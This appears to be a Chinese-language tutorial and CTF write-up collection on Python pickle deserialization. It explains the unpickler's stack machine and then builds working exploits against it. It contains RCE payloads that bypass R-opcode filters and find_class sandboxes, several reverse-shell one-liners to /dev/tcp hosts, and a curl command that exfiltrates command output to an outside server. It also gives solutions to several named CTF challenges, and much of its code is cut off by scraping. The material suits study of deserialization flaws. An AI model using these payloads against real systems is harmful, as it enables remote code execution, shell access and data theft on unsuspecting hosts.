python-Pickle序列化
Pickle构造原理
0x00 Pickle是干什么用的:序列化、反序列化
在很多任务中,我们可能会需要把一些内容存储起来,以备后续利用。如果我们要存储的内容只是一条字符串或是数字,那么我们只需要把它写进文件就行。然而,如果我们需要存储的东西是一个dict、一个list,甚至一个对象:
1 | class dairy(): |
要把这样的dairy实例today
存放在文件里,日后还要支持随时导入,就是很麻烦的事情了。通行的做法是:通过一套方案,把这个today
翻译成一个字符串,然后把字符串写进文件;读取的时候,通过读文件拿到字符串,然后翻译成dairy
类的一个实例。
我们把“对象 -> 字符串”的翻译过程称为“序列化”;相应地,把“字符串 -> 对象”的过程称为“反序列化” 。需要保存一个对象的时候,就把它序列化变成字符串;需要从字符串中提取一个对象的时候,就把它反序列化。各大语言都有序列化库,而很多时候,不恰当的反序列化会成为攻击的目标。在后文我们将深入探讨其利用方式。
Python提供的序列化库是pickle. 下面,我们举一个例子来说明其工作方式:
序列化与反序列化
在这里,我们定义了一个很复杂的对象交给x
,然后执行pickle.dumps(x)
,来把x
翻译成字符串。**这个字符串又臭又长,不过我们在接下来的章节中会详细讲如何阅读它。**接下来,把这个字符串翻译成对象交给r
,可以发现r
已经是我们最开始打包的那个复杂对象。
存储字符串比存储对象方便得多——这就是pickle的意义所在。工作过程如下图:
把对象序列化成字符串,然后就可以方便地存储、传输了
这就是pickle最基础的使用方法。pickle不仅可以读写字符串,也可以读写文件:只需要采用pickle.dump()
和pickle.load()
.
另外有一点需要注意:对于我们自己定义的class,如果直接以形如date = 20191029
的方式赋初值,**则这个date
不会被打包!**解决方案是写一个__init__
方法, 也就是这样:
注意自己定义的class,一定要把初值写进__init__
0x01 pickle.loads机制:调用_Unpickler类
pickle.loads是一个供我们调用的接口。其底层实现是基于_Unpickler
类。代码实现如下:
load和loads接口
可以看出,_load
和_loads
基本一致,都是把各自输入得到的东西作为文件流,喂给_Unpickler
类;然后调用_Unpickler.load()
实现反序列化。
所以,接下来的任务就很清楚了:读一遍_Unpickler
类的源码,然后弄清楚它干了什么事。
0x02 _Unpickler类:莫得感情的反序列化机器
在反序列化过程中,_Unpickler
(以下称为机器吧)维护了两个东西:栈区和存储区。结构如下(本图片仅为示意图):
机器维护的两个结构
栈是unpickle机最核心的数据结构,所有的数据操作几乎都在栈上。为了应对数据嵌套,栈区分为两个部分:当前栈专注于维护最顶层的信息,而前序栈维护下层的信息。这两个栈区的操作过程将在讨论MASK指令时解释。
存储区可以类比内存,用于存取变量。它是一个数组,以下标为索引。它的每一个单元可以用来存储任何东西,但是说句老实话,大多数情况下我们并不需要这个存储区。
您可以想象,一台机器读取我们输入的字符串,然后操作自己内部维护的各种结构,最后吐出来一个结果——这就是我们莫得感情的_Unpickler
。为了研究它,也为了看懂那些乱七八糟的字符串,我们需要一个有力的调试器。这就是pickletools
。
0x03 pickletools:良心调试器
pickletools是python自带的pickle调试器,有三个功能:反汇编一个已经被打包的字符串、优化一个已经被打包的字符串、返回一个迭代器来供程序使用。我们一般使用前两种。来看看效果吧:
原始字符串的反汇编结果
这就是反汇编功能:解析那个字符串,然后告诉你这个字符串干了些什么。**每一行都是一条指令。**接下来试一试优化功能:
优化后的结果
可以看到,字符串s
比以前短了很多,而且反汇编结果中,BINPUT
指令没有了。所谓“优化”,其实就是把不必要的PUT
指令给删除掉。这个PUT
意思是把当前栈的栈顶复制一份,放进储存区——很明显,我们这个class并不需要这个操作,可以省略掉这些PUT
指令。
利用pickletools,我们能很方便地看清楚每条语句的作用、检验我们手动构造出的字符串是否合法……总之,是我们调试的利器。现在手上有了工具,我们开始研究这个字符串是如何被pickle解读的吧。
以下内容建议对照pickle的源码来阅读。您可以这样找到pickle源码的位置:
0x04 反序列化机器:语法严格、向前兼容
pickle构造出的字符串,有很多个版本。在pickle.loads时,可以用Protocol参数指定协议版本,例如指定为0号版本:
依据0号协议所编码的字符串
目前这些协议有0,2,3,4号版本,默认为3号版本。这所有版本中,0号版本是人类最可读的;之后的版本加入了一大堆不可打印字符,不过这些新加的东西都只是为了优化,本质上没有太大的改动。
一个好消息是,pickle协议是向前兼容的。0号版本的字符串可以直接交给pickle.loads(),不用担心引发什么意外。
刚刚说过,字符串中包含了很多条指令。这些指令一定以一个字节的指令码(opcode)开头;接下来读取多少内容,由指令码来决定(严格规定了读取几个参数、参数的结束标志符等)。指令编码是紧凑的,一条指令结束之后立刻就是下一条指令。
一起来分析一个小例子:
第一行是字符串,接下来是这个字符串的反汇编结果
-
字符串的第一个字节是
\x80
(这个操作符于版本2被加入)。机器看到这个操作符,立刻再去字符串读取一个字节,得到x03
。解释为“这是一个依据3号协议序列化的字符串”,这个操作结束。 -
机器取出下一个字符作为操作符——
c
。这个操作符(称为GLOBAL操作符)对我们以后的工作非常有用——它连续读取两个字符串module
和name
,规定以\n
为分割;接下来把module.name
这个东西压进栈。那么现在读取到的两个字符串分别是__main__
和Student
,于是把__main__.Student
扔进栈里。注:GLOBAL操作符读取全局变量,是使用的
find_class
函数。而find_class
对于不同的协议版本实现也不一样。总之,它干的事情是“去x
模块找到y
”,y
必须在x
的顶层(也即,y不能在嵌套的内层)。 -
程序的车轮继续滚滚向前。它遇到了
)
这个操作符。它的作用是“把一个空的tuple压入当前栈”。处理完这个操作符之后 -
接下来程序读取到了
x81
操作符。它的作用是:从栈中先弹出一个元素,记为args
;再弹出一个元素,记为cls
。接下来,执行cls.__new__(cls, *args)
,然后把得到的东西压进栈。说人话,那就是:从栈中弹出一个参数和一个class,然后利用这个参数实例化class,把得到的实例压进栈。
容易看出,上面的操作全都执行完了之后,栈里面还剩下一个元素——它是被实例化了的Student
对象,目前这里面什么也没有,因为当初实例化它的时候,args
是个空的数组。 -
让我们继续分析。程序现在读入了一个
}
,它的意思是“把一个空的dict压进栈”。 -
然后是
MARK
操作符(
,这个操作符干的事情称为load_mark
:- 把当前栈这个整体,作为一个list,压进前序栈。
- 把当前栈清空。
现在您知道为什么栈区要分成当前栈和前序栈两部分了吗?前序栈保存了程序运行至今的(不在顶层的)完整的栈信息,而当前栈专注于处理顶层的事件。
讲到这里,我们不得不介绍另一个操作——pop_mark
。它没有操作符,只供其他的操作符来调用。干的事情自然是load_mark
的反向操作: - 记录一下当前栈的信息,作为一个list,在
load_mark
结束时返回。 - 弹出前序栈的栈顶,用这个list来覆盖当前栈。
load_mark
相当于进入一个子过程,而pop_mark
相当于从子过程退出,把栈恢复成调用子过程之前的情况。所有与栈的切换相关的事情,都靠调用这两个方法来完成。因此load_mark
和pop_mark
是栈管理的核心方法。
回到我们这个程序,继续看MARK之后的内容:
-
下一个操作符是
V
。它的意义是:读入一个字符串,以\n
结尾;然后把这个字符串压进栈中。我们看到这里有四个V
操作,它们全都执行完的时候,当前栈里面的元素是:(由底到顶)name, rxz, grade, G2
。前序栈只有一个元素,是一个list,这个list里面有两个元素:一个空的Student
实例,以及一个空的dict
。 -
现在我们看到了
u
操作符。它干这样的事情:- 调用
pop_mark
。也就是说,把当前栈的内容扔进一个数组arr
,然后把当前栈恢复到MARK时的状态。
执行完成之后,arr=['name', 'rxz', 'grade', 'G2']
;当前栈里面存的是__main__.Student
这个类、一个空的dict
- 拿到当前栈的末尾元素,规定必须是一个
dict
。
这里,读到了栈顶那个空dict
。 - 两个一组地读
arr
里面的元素,前者作为key,后者作为value,存进上一条所述的dict
。
模拟一下这个过程,发现原先是空的那个dict
现在变成了{'name': 'rxz', 'grade': 'G2'}
这样一个dict
。所以现在,当前栈里面的元素是:__main__.Student
的一个空的实例,以及{'name': 'rxz', 'grade': 'G2'}
这个dict
。
- 调用
-
下一个指令码是
b
,也就是BUILD指令。它干的事情是:- 把当前栈栈顶存进
state
,然后弹掉。 - 把当前栈栈顶记为
inst
,然后弹掉。 - 利用
state
这一系列的值来更新实例inst
。把得到的对象扔进当前栈。
注:这里更新实例的方式是:如果
inst
拥有__setstate__
方法,则把state
交给__setstate__
方法来处理;否则的话,直接把state
这个dist
的内容,合并到inst.__dict__
里面。
事实上,这里产生了一个安全漏洞。您可以想一想该如何利用。 - 把当前栈栈顶存进
-
上面的事情干完之后,当前栈里面只剩下了一个实例——它的类型是
__main__.Student
,里面name
值是rxz
,grade
值是G2
。下一个指令是.
(一个句点,STOP指令),pickle的字符串以它结尾,意思是:“当前栈顶元素就是反序列化的最终结果,把它弹出,收工!”
注:使用
pickletools.dis
分析一个字符串时,如果.
执行完毕之后栈里面还有东西,会抛出一个错误;而pickle.loads
没有这么严格的检查——它会正常结束。
当所有的事情干完之后,我们得到了什么呢?如下图所示:
反序列化大成功
至此我们完成了一个简单例子的分析。刚刚我们通过手动模拟这台机器的运行过程,理解了pickle反序列化的原理——如何处理指令、如何管理栈等等。这已经足够我们把握pickle的思想,剩余的就是细枝末节的东西了。
但是,细枝末节的东西,往往暗藏着漏洞 :)
Bypass
http://blog.nsfocus.net/绕过-restrictedunpickler/
0x01 __reduce__
:(曾经的)万恶之源
在写下本文之前,CTF竞赛对pickle的利用多数是在__reduce__
方法上。它的指令码是R
,干了这么一件事情:
- 取当前栈的栈顶记为
args
,然后把它弹掉。 - 取当前栈的栈顶记为
f
,然后把它弹掉。 - 以
args
为参数,执行函数f
,把结果压进当前栈。
class的__reduce__
方法,在pickle反序列化的时候会被执行。其底层的编码方法,就是利用了R
指令码。 f
要么返回字符串,要么返回一个tuple,后者对我们而言更有用。
一种很流行的攻击思路是:利用 __reduce__
构造恶意字符串,当这个字符串被反序列化的时候,__reduce__
会被执行。网上已经有海量的文章谈论这种方法,所以我们在这里不过多讨论。只给出一个例子:正常的字符串反序列化后,得到一个Student
对象。我们想构造一个字符串,它在反序列化的时候,执行ls /
指令。那么我们只需要这样得到payload:
optimize加不加无所谓,这里为了我们查看汇编结果方便,就加上了优化
现在把payload拿给正常的程序(Student类里面没有__reduce__
方法)去解析:
即使Student类是正常的,pickle.loads仍然执行了os.system('ls /')
一个样例如下:
1 | #!/usr/bin/env python |
其中pickle.loads
是会解决import 问题,对于未引入的module会自动尝试import。那么也就是说整个python标准库的代码执行、命令执行函数我们都可以使用。 之前把python的标准库都大概过了一遍,把其中绝大多数的可用函数罗列如下:
1 | eval, execfile, compile, open, file, map, input, |
除开我们常见的那些os库、subprocess库、commands库之外还有很多可以执行命令的函数,这里用举两个不常用的:
1 | map(__import__('os').system,['bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"',]) |
那么,如何过滤掉reduce呢?由于__reduce__
方法对应的操作码是R
,只需要把操作码R
过滤掉就行了。这个可以很方便地利用pickletools.genops
来实现。
如果reduce这一套手段被过滤,我们应该如何利用呢?以下就是本篇文章的正题。
0x02 绕过函数黑名单:奇技淫巧
有一种过滤方式:不禁止R
指令码,但是对R
执行的函数有黑名单限制。典型的例子是2018-XCTF-HITB-WEB : Python’s-Revenge。给了好长好长一串黑名单:
1 | black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen] |
可惜platform.popen()
不在名单里,它可以做到类似system
的功能。这题死于黑名单有漏网之鱼。
另外,还有一个解(估计是出题人的预期解),那就是利用map来干这件事:
1 | class Exploit(object): |
总之,黑名单不可取。要禁止reduce这一套方法,最稳妥的方式是禁止掉R
这个指令码。
0x03 全局变量包含:c
指令码的妙用
有这么一道题,彻底过滤了R
指令码(写法是:只要见到payload里面有R
这个字符,就直接驳回,简单粗暴)。现在的任务是:给出一个字符串,反序列化之后,name和grade需要与blue这个module里面的name、grade相对应。
目标是取得well done
不能用R
指令码了,不过没关系。还记得我们的c
指令码吗?它专门用来获取一个全局变量。我们先弄一个正常的Student来看看序列化之后的效果:
如何用c
指令来换掉这两个字符串呢?以name的为例,只需要把硬编码的rxz
改成从blue
引入的name
,写成指令就是:cblue\nname\n
。把用于编码rxz
的X\x03\x00\x00\x00rxz
替换成我们的这个global指令,来看看改造之后的效果:
load一下,发现真的引入了blue里面的变量
把这个payload进行base64编码之后传进题目,得到well done。
顺带一提,由于pickle导出的字符串里面有很多的不可见字符,所以一般都经过base64编码之后传输。
0x04 绕过c
指令module
限制:先读入,再篡改
之前提到过,c
指令(也就是GLOBAL指令)基于find_class
这个方法, 然而find_class
可以被出题人重写。如果出题人只允许c
指令包含__main__
这一个module,这道题又该如何解决呢?
通过GLOBAL指令引入的变量,可以看作是原变量的引用。我们在栈上修改它的值,会导致原变量也被修改!
有了这个知识作为前提,我们可以干这么一件事:
- 通过
__main__.blue
引入这一个module,由于命名空间还在main内,故不会被拦截 - 把一个dict压进栈,内容是
{'name': 'rua', 'grade': 'www'}
- 执行BUILD指令,会导致改写
__main__.blue.name
和__main__.blue.grade
,至此blue.name
和blue.grade
已经被篡改成我们想要的内容 - 弹掉栈顶,现在栈变成空的
- 照抄正常的Student序列化之后的字符串,压入一个正常的Student对象,name和grade分别是’rua’和’www’
由于栈顶是正常的Student对象,pickle.loads将会正常返回。到手的Student对象,当然name和grade都与blue.name、blue.grade对应了——我们刚刚亲手把blue篡改掉。
1 | payload = b'\x80\x03c__main__\nblue\n}(Vname\nVrua\nVgrade\nVwww\nub0c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x05\x00\x00\x00gradeX\x03\x00\x00\x00wwwub.' |
绿框区域完成了篡改
题目返回了well done,而且此时blue.grade已经变成www,可见我们真的篡改了blue.
0x05 不用reduce,也能RCE
之前谈到过,__reduce__
与R
指令是绑定的,禁止了R
指令就禁止了__reduce__
方法。那么,在禁止R
指令的情况下,我们还能RCE吗?这就是本文研究的重点。
现在的目标是,利用指令码,构造出任意命令执行。那么我们需要找到一个函数调用fun(arg)
,其中fun
和arg
都必须可控。
审pickle源码,来看看BUILD指令(指令码为b
)是如何工作的:
BUILD指令实现
这里的实现方式也就是上文的注所提到的:如果inst
拥有__setstate__
方法,则把state
交给__setstate__
方法来处理;否则的话,直接把state
这个dist
的内容,合并到inst.__dict__
里面。
它有什么安全隐患呢?我们来想想看:Student
原先是没有__setstate__
这个方法的。那么我们利用{'__setstate__': os.system}
来BUILE这个对象,那么现在对象的__setstate__
就变成了os.system
;接下来利用"ls /"
来再次BUILD这个对象,则会执行setstate("ls /")
,而此时__setstate__
已经被我们设置为os.system
,因此实现了RCE.
payload构造如下:
1 | payload = b'\x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVls /\nb.' |
执行结果:
成功RCE!接下来可以通过反弹shell来控制靶机了。
有一个可以改进的地方:这份payload由于没有返回一个Student,导致后面抛出异常。要让后面无异常也很简单:干完了恶意代码之后把栈弹到空,然后压一个正常Student进栈。payload构造如下:
1 | payload = b'\x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVls /\nb0c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x05\x00\x00\x00gradeX\x03\x00\x00\x00wwwub.' |
绿色框内为恶意代码
没有抛出异常。
至此,我们完成了不使用R
指令、无副作用的RCE。Congratulations!
0x06 一些细节
一、**其他模块的load也可以触发pickle反序列化漏洞。**例如:numpy.load()
先尝试以numpy自己的数据格式导入;如果失败,则尝试以pickle的格式导入。因此numpy.load()
也可以触发pickle反序列化漏洞。
二、即使代码中没有import os
,GLOBAL指令也可以自动导入os.system
。因此,不能认为“我不在代码里面导入os库,pickle反序列化的时候就不能执行os.system”。
三、**即使没有回显,也可以很方便地调试恶意代码。**只需要拥有一台公网服务器,执行os.system('curl your_server/
ls / | base64)
,然后查询您自己的服务器日志,就能看到结果。这是因为:以```引号包含的代码,在sh中会直接执行,返回其结果。
下面给出一个例子:
1 | payload = b'\x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVcurl 47.***.***.105/`ls / | base64`\nb.' |
payload
pickle.loads()效果
pickle.loads()
时,ls /
的结果被base64编码后发送给服务器(红框);我们的服务器查看日志,就可以得到命令执行结果。因此,在没有回显的时候,我们可以通过curl
把执行结果送到我们的服务器上。
上文发出去的请求缺了一段,是因为url没有加引号。
0x07 input函数
相信有童鞋已经敏锐的注意到了这个input函数,这个通常很难进入大家的视线。 这个函数也仅在python2中能够利用,在之前的博客python深入学习(三):从py2到py3 中提到过为什么。 这个函数在python2中是能够执行python代码的。但是有一个问题就是这个函数是从标准输入获取字符串,所以怎么利用就是一个问题,不过相信大家看到我 hook pickle的load的方法就知道这里该怎么利用了,我们可以利用StringIO库,然后将标准输入修改为StringIO创建的内存缓冲区即可。 接下来,我们以在hitb 2018
中的python revenge
为例来说明怎么把这个函数用起来。 首先关于pickle 的数据流协议在python2里面有三种,python3里面有五种,默认的是0,具体可以看看勾陈安全实验室的Python Pickle的任意代码执行漏洞实践和Payload构造,其中对协议进行说明,这里搬运下:
1 | c:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中。 |
好的我们来构造一下这个input函数
1 | c__builtin__ |
然后我们要想办法修改一下标准输入,正常python2里面我们一般这样修改
但是在pickle的0号协议中,我们不能用等于符号,但是我们可以用setattr
函数
好的现在万事就绪了,只需要把这一套用上述协议转换一下就行了。
1 | c__builtin__ |
直接反弹shell就行了
1 | a='''c__builtin__\nsetattr\n(c__builtin__\n__import__\n(S'sys'\ntRS'stdin'\ncStringIO\nStringIO\n(S'__import__('os').system('bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"')'\ntRtRc__builtin__\ninput\n(S'python> '\ntR.''' |
0x08 任意函数构造
在勾陈安全实验室的文章中,提到了一个types.FunctionType
配上marshal.loads
的方法,
1 | import base64 |
这里不再赘述,同样的思路我们还有一些别的方法,例如和types.FunctionType
几乎一样的函数new.function
1 | import base64 |
0x09 类函数构造
这里主要使用new.classobj
函数来构造一个类函数对象然后执行,这样就可以调用原有库的一些函数,也可以自己构造。
1 | payload=pickle.dumps(new.classobj('system', (), {'__getinitargs__':lambda self,arg=('bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"',):arg, '__module__': 'os'})()) |
lambda语句也可以换成上述提到的new.function
或是types.FunctionType
的构造。
既然有了这种思路,那么new
库里面的提到的很多东西都可以转换思路了。有兴趣可以去研究一下
0x10 构造SSTI
本来这是一个打算用于以后的一个点的,但是这次有人用这种方法做出来了,那我也就分享一下了。说道要找执行代码的函数,不久前的qwb和hitb我都特意采用了Flask框架。而要知道Flask的render_template_string
所引发的SSTI漏洞则又是另一个可利用的点了。
1 | payload="cflask.templating\nrender_template_string\np0\n(S\"{% for x in (().__class__.__base__.__subclasses__()) %}{%if x.__name__ =='catch_warnings'%}{{x.__repr__.im_func.func_globals.linecache.os.system('bash -c \"bash -i >& /dev/tcp/172.17.0.1/12345 0>&1\" &')}}{%endif%}{%endfor%}\"\np1\ntp2\nRp3\n." |
快速回顾
pickle实际上是一门栈语言,他有不同的几种编写方式,通常我们人工编写的话,是使用protocol=0的方式来写。而读取的时候python会自动识别传入的数据使用哪种方式,下文内容也只涉及protocol=0的方式。
和传统语言中有变量、函数等内容不同,pickle这种堆栈语言,并没有“变量名”这个概念,所以可能有点难以理解。pickle的内容存储在如下两个位置中:
- stack 栈
- memo 一个列表,可以存储信息
我们还是以最常用的那个payload来看起,首先将payload b'cposix\nsystem\np0\n(Vtouch /tmp/success\np1\ntp2\nRp3\n.'
写进一个文件,然后使用如下命令对其进行分析:
1 | python -m pickletools pickle |
可见,其实输出的是一堆OPCODE:
protocol 0的OPCODE是一些可见字符,比如上图中的 c
、 p
、 (
等。
我们在Python源码中可以看到所有opcode(所有的放在文末):
上面例子中涉及的OPCODE我做下解释:
c
:引入模块和对象,模块名和对象名以换行符分割。(find_class
校验就在这一步,也就是说,只要c这个OPCODE的参数没有被find_class
限制,其他地方获取的对象就不会被沙盒影响了,这也是我为什么要用getattr来获取对象)(
:压入一个标志到栈中,表示元组的开始位置t
:从栈顶开始,找到最上面的一个(
,并将(
到t
中间的内容全部弹出,组成一个元组,再把这个元组压入栈中R
:从栈顶弹出一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上p
:将栈顶的元素存储到memo中,p后面跟一个数字,就是表示这个元素在memo中的索引V
、S
:向栈顶压入一个(unicode)字符串.
:表示整个程序结束
知道了这些OPCODE,我们很容易就翻译出 __reduce__
生成的这段pickle代码是什么意思了:
1 | 0: c GLOBAL 'posix system' # 向栈顶压入`posix.system`这个可执行对象 |
显然,这里的memo是没有起到任何作用的。所以,我们可以将这段代码进一步简化,去除存储memo的过程:
1 | cposix |
这一段代码仍然是可以执行命令的。当然,有了memo可以让编写程序变得更加方便,使用 g
即可将memo中的内容取回栈顶。
那么,我们来尝试编写绕过沙盒的pickle代码吧。
首先使用 c
,获取 getattr
这个可执行对象:
1 | cbuiltins |
然后我们需要获取当前上下文,Python中使用 globals()
获取上下文,所以我们要获取 builtins.globals
:
1 | cbuiltins |
Python中globals是个字典,我们需要取字典中的某个值,所以还要获取 dict
这个对象:
1 | cbuiltins |
上述这几个步骤都比较简单,我们现在加强一点难度。现在执行 globals()
函数,获取完整上下文:
1 | cbuiltins |
其实也很简单,栈顶元素是builtins.globals,我们只需要再压入一个空元组 (t
,然后使用 R
执行即可。
然后我们用 dict.get
来从globals的结果中拿到上下文里的 builtins对象
,并将这个对象放置在memo[1]:
1 | cbuiltins |
到这里,我们已经获得了阶段性的胜利, builtins
对象已经被拿到了:
接下来,我们只需要再从这个没有限制的 builtins
对象中拿到eval等真正危险的函数即可:
1 | ... |
g1就是刚才获取到的 builtins
,我继续使用getattr,获取到了 builtins.eval
。
再执行这个eval:
1 | cbuiltins |
成功绕过沙盒。
CTF题目
高校战"疫"
分析
考点是pickle反序列化,过滤掉了 R 指令码,并且重写了 find_class:
1 | class RestrictedUnpickler(pickle.Unpickler): |
这就禁止引用除了 __main__
之外的其他module,但是如果通过GLOBAL指令引入的变量,可以看作是原变量的引用。我们在栈上修改它的值,会导致原变量也被修改
于是可以先引入__main__.secret
这个module,然后把一个 dict 压入栈,内容是 {'name': 'xx', 'category': 'yyy'}
,之后执行 build指令,改写 __main__.secret.name
和 __main__.secret.category
,此时 secret.name和 secret.category 已经变成我们想要的内容
之后再压入一个正常的 Animal对象,name和category分别是 xx和yyy最后构造的pickle数据如下
b"\x80\x03c__main__\nsecret\n}(Vname\nVxx\nVcategory\nVyyy\nub0c__main__\nAnimal\n)\x81}(S'name'\nS'xx'\nS'category'\nS'yyy'\nub."
编码为base64提交即可
gANjX19tYWluX18Kc2VjcmV0Cn0oVm5hbWUKVnh4ClZjYXRlZ29yeQpWeXl5CnViMGNfX21haW5fXwpBbmltYWwKKYF9KFMnbmFtZScKUyd4eCcKUydjYXRlZ29yeScKUyd5eXknCnViLg==
SUCTF 2019 Guess_game
完整源码:https://github.com/team-su/SUCTF-2019/tree/master/Misc/guess_game
猜数游戏,10 以内的数字,猜对十次就返回 flag。
1 | # file: Ticket.py |
client 端接收数字输入,生成的 Ticket 对象序列化后发送给 server 端。
1 | # file: game_server.py 有删减 |
server 端将接收到的数据进行反序列,这里与常规的 pickle.loads 不同,采用的是 Python 提供的安全措施。也就是说,导入的模块只能以 guess_name 开头,并且名称里不能含有 __。
最初的想法还是想执行命令,只是做题的话完全不需要这么折腾,先来看一下判赢规则。
1 | # file: Game.py |
只要能控制住 curr_ticket,每局就能稳赢,或者直接将 win_count 设为 10,能实现吗?
先试试覆盖 win_count 和 round_count。换句话来说,就是需要在反序列化 Ticket 对象前执行:
1 | from guess_game import game # __init__.py game = Game() |
pickle 里并不能直接用等号赋值,但有对应的指令用来改变属性。
1 | BUILD = b'b' # call __setstate__ or __dict__.update() |
开始构造
1 | cguess_game |
其中,} 是往 stack 中压入一个空 dict,s 是将键值对插入到 dict。
测试一下效果,成功。
到这就做完了吗?不,还有个小验证,assert type(ticket) == Ticket。
之前提到过,pickle 序列流执行完后将把栈顶的值返回,那结尾再留一个 Ticket 的对象就好了。
1 | ticket = Ticket(6) |
最终 payload:
1 | cguess_game\ngame\n}S"win_count"\nI10\nsS"round_count"\nI9\nsbcguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x06sb. |
尝试覆盖掉 current_ticket:
1 | cguess_game\n |
这里用了一下 memo,存储了 ticket 对象,再拿出来放到栈顶。
最终 payload:
1 | cguess_game\ngame\n}S'curr_ticket'\ncguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x07sbp0\nsbg0\n. |
Code-Breaking 2018 picklecode
完整源码: https://github.com/phith0n/code-breaking/blob/master/2018/picklecode
1 | import pickle |
这只是原题的一部分,重点关注下这个沙箱如何逃逸。先看个东西:
1 | getattr(globals()['__builtins__'], 'eval') |
getattr 和 globals 并没有被禁,那就尝试写 pickle 吧。
1 | cbuiltins |
PS:我的环境是 Python 3.7.4,反序列化时获取到的 builtins 是一个 dict,所以用了两次 get,视环境进行调整吧。这个 payload 在 Python 3.7.3 又跑不起来 :)
BalsnCTF 2019 Pyshv1
环境: https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc/pyshv1
1 | # File: securePickle.py |
限制了导入的模块只能是 sys,问题是这个模块也不安全呀 :)
sys.modules
This is a dictionary that maps module names to modules which have already been loaded. This can be manipulated to force reloading of modules and other tricks. However, replacing the dictionary will not necessarily work as expected and deleting essential items from the dictionary may cause Python to fail.
如果 Python 是刚启动的话,所列出的模块就是解释器在启动时自动加载的模块。有些库是默认被加载进来的,例如 os,但是不能直接使用,原因在于 sys.modules 中未经 import 加载的模块对当前空间是不可见的。
这里的 find_class 直接调的 pickle.py 中的方法,那就先看看它如何导入包的:
1 | # pickle.Unpickler.find_class |
其中 sys.modules 为:
1 | { |
那我们的目标:
1 | cos\nsystem <=> getattr(sys.modules['os'], 'system') |
限制了 module 只能为 sys,那能否把 sys.modules[‘sys’]替换为sys.modules[‘os’],从而引入危险模块。
1 | from sys import modules |
本地实验一下,成功:
1 | PS C:\Users\wywwzjj> python |
还有个小麻烦,modules 是个 dict,无法直接取值。继续利用 getattr(sys.modules[module], name)。
1 | import sys |
改写成 pickle:
1 | csys |
BalsnCTF 2019 Pyshv2
环境: https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc/pyshv2
1 | # File: securePickle.py |
真会玩,给你一个空模块:),先看下空模块有哪些内置方法:
1 | __import__('structs') structs = |
好了,问题又转变为如何获取键值,还是比较艰难。
查文档时又发现了一个东西,原来 import 可被覆盖。
import(name, globals=None, locals=None, fromlist=(), level=0)
此函数会由 import 语句发起调用。 它可以被替换 (通过导入 builtins 模块并赋值给 builtins.import) 以便修改 import 语句的语义,但是 强烈 不建议这样做,因为使用导入钩子 (参见 PEP 302) 通常更容易实现同样的目标,并且不会导致代码问题,因为许多代码都会假定所用的是默认实现。 同样也不建议直接使用 import() 而应该用 importlib.import_module()。
那该覆盖成什么函数呢?最好是 import(module) 后能返回字典的函数。
只能从内置函数下手了,一个一个试吧,发现没一个能用的。
后来又想起还有一堆魔术方法没有试,又是一篇广阔的天地。
https://pyzh.readthedocs.io/en/latest/python-magic-methods-guide.html
这个 getattribute 恰好能符合我们的要求,真棒。
1 | getattr(structs, '__getattribute__')('__builtins__') |
再理下思路:(伪代码)
1 | d = getattr(structs, '__builtins__') # 获取到字典,先存起来 |
转换为 pickle:
1 | cstructs |
BalsnCTF 2019 Pyshv3
环境: https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc/pyshv3
1 | # File: securePickle.py |
RestrictedUnpickler 模块和 Pyshv1 是一样的,之前只有名字的函数在这里基本都实现了。
注意到,在 cmd_flag() 中,self.user.privileged 只要就符合条件将输出 flag。
1 | user = pickle.loads(user) |
魔术方法列表中可以看到,给属性赋值时,用的是 setattr(self, name),能不能把这个干掉?
看来不太行,把这个干了,flag 自然也赋值不上了。能不能保留 privileged ,同时又不干扰 flag?
继续在魔术方法里寻找,突然看到了一个创建描述符对象里有 set 方法,会不会有点关系呢。
属性访问的默认行为是从一个对象的字典中获取、设置或删除属性。例如,a.x 的查找顺序会从 a.dict[‘x’] 开始,然后是 type(a).dict[‘x’],接下来依次查找 type(a) 的基类,不包括元类 如果找到的值是定义了某个描述器方法的对象,则 Python 可能会重载默认行为并转而发起调用描述器方法。这具体发生在优先级链的哪个环节则要根据所定义的描述器方法及其被调用的方式来决定。
关于描述符的讲解还可以看下这文章:https://foofish.net/what-is-descriptor-in-python.html
1 | class RevealAccess(object): |
